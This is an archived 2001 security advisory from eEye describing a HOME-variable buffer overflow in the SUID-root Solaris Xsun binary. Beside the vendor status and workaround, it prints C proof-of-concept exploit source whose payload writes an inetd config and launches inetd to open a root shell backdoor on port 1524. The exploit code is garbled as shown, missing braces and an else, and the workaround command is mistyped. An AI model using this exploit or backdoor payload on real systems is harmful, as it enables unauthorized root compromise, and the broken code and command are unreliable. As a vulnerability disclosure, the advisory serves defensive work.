Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: eEye Digital Security (eeyeEEYE.COM)
Date: Tue Apr 10 2001 - 19:29:08 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Solaris Xsun buffer overflow vulnerability

    Discovered and exploited by:
    Riley Hassell rileyeeye.com

    Release Date:
    April 10, 2001

    Systems Affected:
    Solaris 7/8 (x86 and sparc)

    Yet some more Solaris spring cleaning...

    A buffer overflow was discovered in Xsun. Since Xsun is SUID root,
    exploiting this vulnerability yields root privileges. The overflow exists in
    Xsuns handling of the HOME environment variable.

    bash-2.03$ HOME=`perl -e 'print "A"x1050'`
    bash-2.03$ /usr/openwin/bin/Xsun :1
    Warning: There is no XDISPLAY information for display 1.
    Server is using XDISPLAY information for display 0.
    Default Font Path: /usr/openwin/lib/X11/
    Segmentation Fault (core dumped)

    Proof of Concept:

    Solaris 7 (x86) /usr/openwin/bin/Xsun
    HOME environment overflow

    Proof of Concept Exploitation

    Puts a Root shell on local port 1524

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #define BUFLEN 1041

    /* seteuid/setuid/inetd shell */
    char eyecode[] =
    "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
    "/usr/sbin/inetd -s /tmp/eeye2001";

    char buf[BUFLEN];
    unsigned long int nop, esp;
    long int offset = 0;

    unsigned long int get_esp()
    {__asm__("movl %esp,%eax");}

    int main (int argc, char *argv[])
            int i;
            if (argc > 1)
                    offset = strtol(argv[1], NULL, 0);
                    offset = -200;
            esp = get_esp();
            memset(buf, 0x90, BUFLEN);
            memcpy(buf+800, eyecode, strlen(eyecode));
            *((int *) &buf[1037]) = esp+offset;
            execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);

    Vendor Status:
    Sun Microsystems has been contacted. They are currently working on patches
    for this and other related vulnerabilities eEye has discovered. We would
    like to thank them for working with us on creating a patch for this

    chmod s /usr/openwin/bin/Xsun
    This will remove the setuid bit from Xsun, therefore if someone does exploit
    this vulnerability, they wont gain higher privileges.

    ADM, Lamagra, Zen-Parse, Loki, and Speakeasy Networks

    Copyright (c) 1998-2001 eEye Digital Security
    Permission is hereby granted for the redistribution of this alert
    electronically. It is not to be edited in any way without express consent of
    eEye. If you wish to reprint the whole or any part of this alert in any
    other medium excluding electronic medium, please e-mail alerteEye.com for

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.

    Please send suggestions, updates, and comments to:

    eEye Digital Security